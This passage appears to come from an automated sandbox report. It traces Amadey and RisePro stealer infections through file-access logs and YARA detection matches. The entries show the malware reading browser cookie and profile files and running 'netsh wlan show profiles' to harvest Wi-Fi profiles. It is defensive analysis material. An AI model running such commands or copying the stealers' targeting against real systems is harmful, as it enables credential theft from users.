Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe	Queries volume information: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\AIXACVYBSB.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\AIXACVYBSB.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\DTBZGIOOSO.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\VLZDGUKUTZ.xlsx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\XZXHAVGRAG.docx VolumeInformation
Source: C:\Windows\System32\rundll32.exe	Queries volume information: C:\Users\user\Desktop\XZXHAVGRAG.xlsx VolumeInformation
Source: C:\Windows\System32\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data VolumeInformation
Source: C:\ProgramData\MPGPH131\MPGPH131.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\RageMP131\RageMP131.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\UeW2b6mU6Z.exe

Code function: 0_2_00C5E27A GetSystemTimePreciseAsFileTime,GetSystemTimePreciseAsFileTime,

0_2_00C5E27A

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Code function: 6_2_00AD6160 LookupAccountNameA,

6_2_00AD6160

Source: C:\Users\user\AppData\Local\Temp\1000056001\590971cd60.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Windows\System32\rundll32.exe

Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles

Stealing of Sensitive Information

Yara detected Amadeys Clipper DLL

Source: Yara match	File source: 11.2.rundll32.exe.6e360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.rundll32.exe.6c8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[2].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, type: DROPPED

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 11.2.rundll32.exe.6e360000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 26.2.rundll32.exe.6c8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.chrosha.exe.720000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.amert.exe.d00000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.explorha.exe.ad0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UeW2b6mU6Z.exe.c40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.explorha.exe.ad0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.explorha.exe.ad0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000003.1662528461.0000000004C90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1631465413.0000000005260000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2896697223.0000000000721000.00000040.00000001.01000000.00000011.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000002.2419534146.0000000000D01000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2904688254.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2906723727.000000006E361000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY
Source: Yara match	File source: 0000000C.00000003.2378317595.0000000005290000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2305523548.0000000004730000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2906782204.000000006C8B1000.00000020.00000001.01000000.00000016.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1711152742.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1670942847.0000000005150000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000003.2430115976.0000000004F30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1671668895.0000000000C41000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1703275180.0000000000AD1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[2].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\clip64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\clip64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\clip64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\cred64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\cred64[1].dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\c1ec479e5342a2\cred64.dll, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, type: DROPPED

Yara detected RisePro Stealer

Source: Yara match	File source: 00000014.00000002.2888771295.0000000001868000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000003.2487222595.00000000053D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.2619416783.0000000005440000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2927751545.0000000008107000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000003.2871931818.0000000005440000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000002.2897094573.00000000002E1000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.2553507559.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000003.2553727448.0000000004FD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000002E.00000003.2702706239.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000002.2895798421.0000000000631000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000037.00000002.2895930049.0000000000B81000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.2747704687.0000000000631000.00000040.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000014.00000002.2886812747.0000000000B81000.00000040.00000001.01000000.00000014.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 590971cd60.exe PID: 5804, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: MPGPH131.exe PID: 5236, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\aMLtP386CmzygUXw7MGrDsU.zip, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\4JKZLoG_AJreMfNRzAg0gnZ.zip, type: DROPPED

